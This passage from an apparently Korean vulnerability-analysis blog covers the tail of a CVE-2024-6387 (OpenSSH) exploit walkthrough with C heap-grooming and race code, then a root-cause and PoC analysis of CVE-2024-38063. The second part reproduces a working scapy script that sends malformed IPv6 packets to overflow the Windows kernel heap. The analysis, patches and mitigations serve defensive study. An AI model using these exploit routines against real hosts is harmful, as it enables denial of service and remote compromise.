- fake vtable과 _codecvt 포인터를 small hole에 기록
d : 앞서 free한 청크들이 unsorted bin에서 각각의 large bin과 small bin에 배치될 수 있도록 하는 패킷
e : 27개의 쌍을 이용해 레이스 컨디션을 수행하기 위한 패킷(앞서 알아본 힙 레이아웃 조작을 위한 시퀀스 수행 : malloc(~4KB), malloc(304), malloc(~4KB), malloc(304))

PoC에서 역시 glibc를 다음과 같은 두 개의 주소중 하나라고 가정합니다.

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

main 함수의 핵심적인 부분을 살펴봅시다.

int
main (int argc, char *argv[])
{
  ...
          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              break;
            }
}

위에 나타난 함수들 중 prepare_heap 함수에서 a~d의 역할을 하는 패킷들이 전송됩니다.

void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

prepare_heap이 완료되면 time_final_paket 함수를 통해서 공개키가 파싱되는 타이밍을 알아냅니다.

void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

위에서 알아낸 타이밍을 기반으로 레이스 컨디션을 수행합니다.

...
attempt_race_condition (sock, parsing_time, glibc_base)
...

Patch

sshd.c에 위치한 <a href="https://github.com/openssh/openssh-portable/blob/V_9_7/sshd.c#L353">grace_alarm_handler</a> 함수가 sshd-session.c로 옮겨가며 다음과 같이 코드가 수정되었습니다.

/*
 * Signal handler for the alarm after the login grace period has expired.
 * As usual, this may only take signal-safe actions, even though it is
 * terminal.
 */
static void
grace_alarm_handler(int sig)
{
	/*
	 * Try to kill any processes that we have spawned, E.g. authorized
	 * keys command helpers or privsep children.
	 */
	if (getpgid(0) == getpid()) {
		struct sigaction sa;

		/* mask all other signals while in handler */
		memset(&sa, 0, sizeof(sa));
		sa.sa_handler = SIG_IGN;
		sigfillset(&sa.sa_mask);
		sa.sa_flags = SA_RESTART;
		(void)sigaction(SIGTERM, &sa, NULL);
		kill(0, SIGTERM);
	}
	_exit(EXIT_LOGIN_GRACE);
}

References

<a href="https://www.openssh.com/txt/release-9.8">https://www.openssh.com/txt/release-9.8</a><br>
<a href="https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt">https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt</a>

CVE-2024-38063

Thu, 03 Oct 2024 07:06:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게된 윈도우 커널 원데이 취약점에 관한 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063</a>

CVE-2024-38063은 2024년 8월 13일에 패치가 발표된 Windows TCP/IP RCE 취약점입니다. IPv6의 확장 헤더 로직의 에러 처리 부분에서 잘못된 연결 리스트 처리에 의해 Integer underflow를 일으켜 더 나아가 Heap overflow를 발생시킬 수 있습니다.

해당 취약점을 악용하기 위해서는 타겟에 IPv6 기능이 활성화되어있어야합니다.

취약점은 윈도우의 tcpip.sys 드라이버에서 발생합니다. 여러 분석 글에서도 다뤘듯, tcpip.sys의 패치 전 후의 디핑 결과를 통해서 취약점이 발생하는 부분을 알아낼 수 있습니다.

취약점은 tcpip.sys의 확장 헤더 처리 과정에서 일어납니다. 또한 이를 취약점으로 연계시키기 위해 PoC에서는 확장 헤더의 재조립 기능을 이용합니다. 때문에 쉽게 취약점을 이해하기 위해 해당 글을 읽기에 앞서 IPv6의 확장 헤더 스펙에 대해서 먼저 살펴보시는 것을 추천드립니다.

<a href="https://www.microsoftpressstore.com/articles/article.aspx?p=2225063&seqNum=4">https://www.microsoftpressstore.com/articles/article.aspx?p=2225063&seqNum=4</a>

또한 IPv6의 RFC 중, 확장 헤더에 대해서 설명된 부분(특히 Fragment, Destination Option)을 읽어보는 것을 먼저 추천합니다.

<a href="https://datatracker.ietf.org/doc/html/rfc2460">https://datatracker.ietf.org/doc/html/rfc2460</a>

<a href="https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html">https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html</a>
<a href="https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/">https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/</a>

Vuln

CVE-ID : CVE-2024-38063
CWE : <a href="https://cwe.mitre.org/data/definitions/191.html">Integer Underflow</a>

Env

타겟 버전<br> <img src="/assets/img/CVE-2024-38063/3.png"/>

*분석에서 사용한 타겟 버전은 패치가 적용되기 바로 이전의 빌드 버전과 차이가 있습니다.

RCA

해당 취약점은 윈도우 tcpip.sys 커널 모듈에서 IPv6 확장 헤더 패킷의 일괄적 에러 처리 과정에서 발생하는 취약점입니다. 이로인해 Integer Underflow가 발생할 수 있습니다.

윈도우에서는 IP 패킷들을 다음과 같이 특정 상황에서 일괄적으로 묶어 처리합니다. 윈도우에서는 전송받은 패킷을 처리하기 위해서 문서화되지 않은 구조체를 활용하며 해당 구조체는 패킷 데이터 처리를 위한 여러 메타데이터를 갖고 있습니다. Root Cause를 파악 하기위해서는 해당 구조체에 존재하는 필드 중, 현재 패킷의 헤더를 어디까지 파싱하였는지에 대한 필드(이하, current-offset이라 표현함.)에 대해 알아야합니다. 해당 필드가 이제부터 알아볼 취약점의 핵심이됩니다.

IPv6 스펙을 보면 알 수 있듯, IPv6는 확장 헤더라는 기능이 있으며 이에 대한 처리를 위해 윈도우에서는 tcpip!Ipv6pProcessOptions 함수를 제공합니다. 이때 패치가 적용된 부분은 Ipv6pProcessOptions의 가장 하단에 존재하는 다음과 같은 부분입니다.

해당 로직은 IPv6의 Destination option확장 헤더 처리 과정에서 유효하지 않은 값이 들어있을 때 패킷을 버리고 전송지로 ICMP Parameter Problem 메시지를 전송하는 역할을 합니다. 다음과 같은 코드로 잘못된 IPv6 확장 헤더를 보내 해당 메시지를 확인할 수 있습니다.

from scapy.all import *

ip_addr=''
mac_addr=''
iface = ''
packet = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
sendp(packet, iface)

IppSendErrorList는 앞서 언급한 패킷 연결 리스트를 돌며 각 패킷 구조체에 대해서 IppSendError를 호출하게됩니다.

IppSendError는 일괄 처리중인 각 패킷 객체에 대해 current-offset 필드 0으로 만드는 작업을 수행하고 오류 표시를 한 뒤 해당 패킷을 되돌리는 처리를 하게됩니다.

패킷 구조체에 대해서 current-offset 필드를 0으로 만들기 전 후 비교는 다음과 같습니다.

<figure> <img src="/assets/img/CVE-2024-38063/8.png"> <figcaption>IppSendError 호출 이전의 current-offset 필드값</figcaption> </figure>

<figure> <img src="/assets/img/CVE-2024-38063/9.png"> <figcaption>IppSendError 호출 이후의 current-offset 필드값</figcaption> </figure>

나머지 패킷은 current-offset이 에러 처리 로직에 의해 0으로 되었음에도 불구하고 에러 코드가 삽입되지 않았기 때문에 헤더 파싱을 계속하게됩니다.

이로 인해 current-offset이라는 필드 값을 0으로 만든체로 다른 로직을 수행하게됩니다. 이는 current-offset을 활용한 로직에서 부작용을 불러일으킬 수 있습니다.

PoC Analysis

PoC를 분석하며 어떤 과정을 거쳐 Heap overflow까지 가능하게 했는지 알아봅시다.

<a href="https://github.com/ynwarcs/CVE-2024-38063">https://github.com/ynwarcs/CVE-2024-38063</a>

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

PoC에서 볼 수 있듯, 총 3개의 패킷의 묶음을 연속해서 생성하고 있다는 것을 알 수 있습니다.

first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)

첫 번째 나타나는 확장 헤더는 앞서 RCA에서 언급한 current-offset을 0으로 만드는 취약점을 트리거 시키기 위해서 삽입된 코드입니다.

first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])

이로 인해 Destination Option 확장 헤더와 연결된 패킷들의 current-offset은 0으로 바뀌게됩니다.

그 이후에는 취약점을 이용하기 위해 Fragment 확장 헤더를 사용하는 모습을 볼 수 있습니다. 이를 통해 Underflow를 트리거 하기위해서는 Fragment 확장 헤더 처리 기능을 이용한다는 것을 알 수 있습니다.

second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'

tcpip.sys에서 Fragment 확장 헤더에 대한 처리는 Ipv6pReceiveFragment 함수에서 맡고 있습니다.

Ipv6pReceiveFragment는 재조립될 데이터 값을 계산하기 위해 current-offset을 이용하여 헤더가 아닌 데이터의 길이를 계산하는 로직을 가지고 있습니다.

이때 고정된 - 0x30을 수행하게되는데 취약점에 의해 current-offset은 0+8값을 갖고있기 때문에 Word integer underflow가 발생하게됩니다.

이로써 큰 길이(0xFFD8)를 갖는 재조립 패킷이 발생하게됩니다

PoC에서는 first를 Unfragmentable Part, second 패킷을 Fragmentable Part 부분이 되게끔하여 재조립을 유도하고 있습니다. second 뒤에 나오는 third 패킷 코드는 오류에 대한 처리로 삽입된 코드입니다. 이는 PoC 원작자의 글을 보면 알 수 있습니다.

-IPv6 fragment #2 (same id), that may also be concatenated to the first two, but its main purpose is to complete the 2nd fragment so that errors aren't thrown out in case normal processing happens

이렇게 발생한 Fragment 객체들과 앞서 조작한 underflow된 큰 정수 값은 다음 두 곳에서 활용됩니다.<br><br>

Ipv6pReassembleDatagram
Ipv6pReassemblyTimeout

<br>

Ipv6pReassembleDatagram은 길이 검증에 대한 코드가 삽입되어있기 때문에 Ipv6pReassemblyTimeout 함수를 활용해야합니다. 앞서 발송된 second가 재조립되고 재조립에 실패하여 Ipv6pReassemblyTimeout 함수가 호출된 경우를 노립니다. second가 수신되고 1분동안 패킷을 받지 못한다면 IPv6 스펙상 다음과 같은 처리를 진행 해야합니다.

패킷의 첫 번째 조각 수신 후 60초 이내에 재조립을 완료하기 위한 충분한 조각이 수신되지 않으면, 해당 패킷의 재조립을 포기해야 하며, 그 패킷에 대해 수신된 모든 조각은 폐기되어야 합니다. 첫 번째 조각(즉, Fragment Offset이 0인 조각)이 수신된 경우, 그 조각의 출처에 ICMP Time Exceeded -- Fragment Reassembly Time Exceeded 메시지를 보내야 합니다.

윈도우의 tcpip에선 Ipv6pReassemblyTimeout 함수가 해당 처리를 담당하고 있습니다.

여기서 어떻게 Heap overflow가 유도되는지 알아봅시다.

Ipv6pReassemblyTimeout에는 다음과 같이 메모리 영역을 할당받는 코드가 존재합니다.

a1+0x88에는 앞서 계산했던 데이터 크기가 저장되며, Integer underflow가 발생했을 경우 해당 영역은 계산에 의해 0x40 크기의 메모리를 요청하여 두 번째 인자(v19)에 할당된 메모리 주소를 저장합니다.

이후엔 다음 코드에서 볼 수 있듯, 할당받은 영역 + 0x28 부터 옵션 헤더에 해당하는 부분(a1+0x80)을 계산된 길이 만큼 복사를 진행합니다. 이때 a1+0x88는 underflow된 길이 값으로 0xFFD8 길이의 값이 복사됩니다.

이로인해 Heap overflow가 발생하여 의도치 않은 영역을 덮어버릴 수 있습니다.

버그로 인해 의도치 않은 영역을 덮어쓰거나 접근하게되면 다음과 같은 크래시를 확인할 수 있습니다.

Video

Patch

패치는 아주 간단합니다.

패치된 코드를 보면 패킷 리스트가 아닌 오류가 발생한 해당 패킷에 대해서만 IppSendError를 호출하는 모습을 볼 수 있습니다. 이로인해 Destination option에 의해 이후 연결된 확장 헤더에 대해 current-offset이 0이되는 상황을 방지했습니다.

Mitigation

CVE-2024-38063는 8월 13일에 공개된 패치를 적용하거나, IPv6 기능을 비활성화 시킴으로써 방지할 수 있습니다.

References

<a href="https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html">https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html</a>
<a href="https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/">https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/</a>
<a href="https://datatracker.ietf.org/doc/html/rfc2460">https://datatracker.ietf.org/doc/html/rfc2460</a>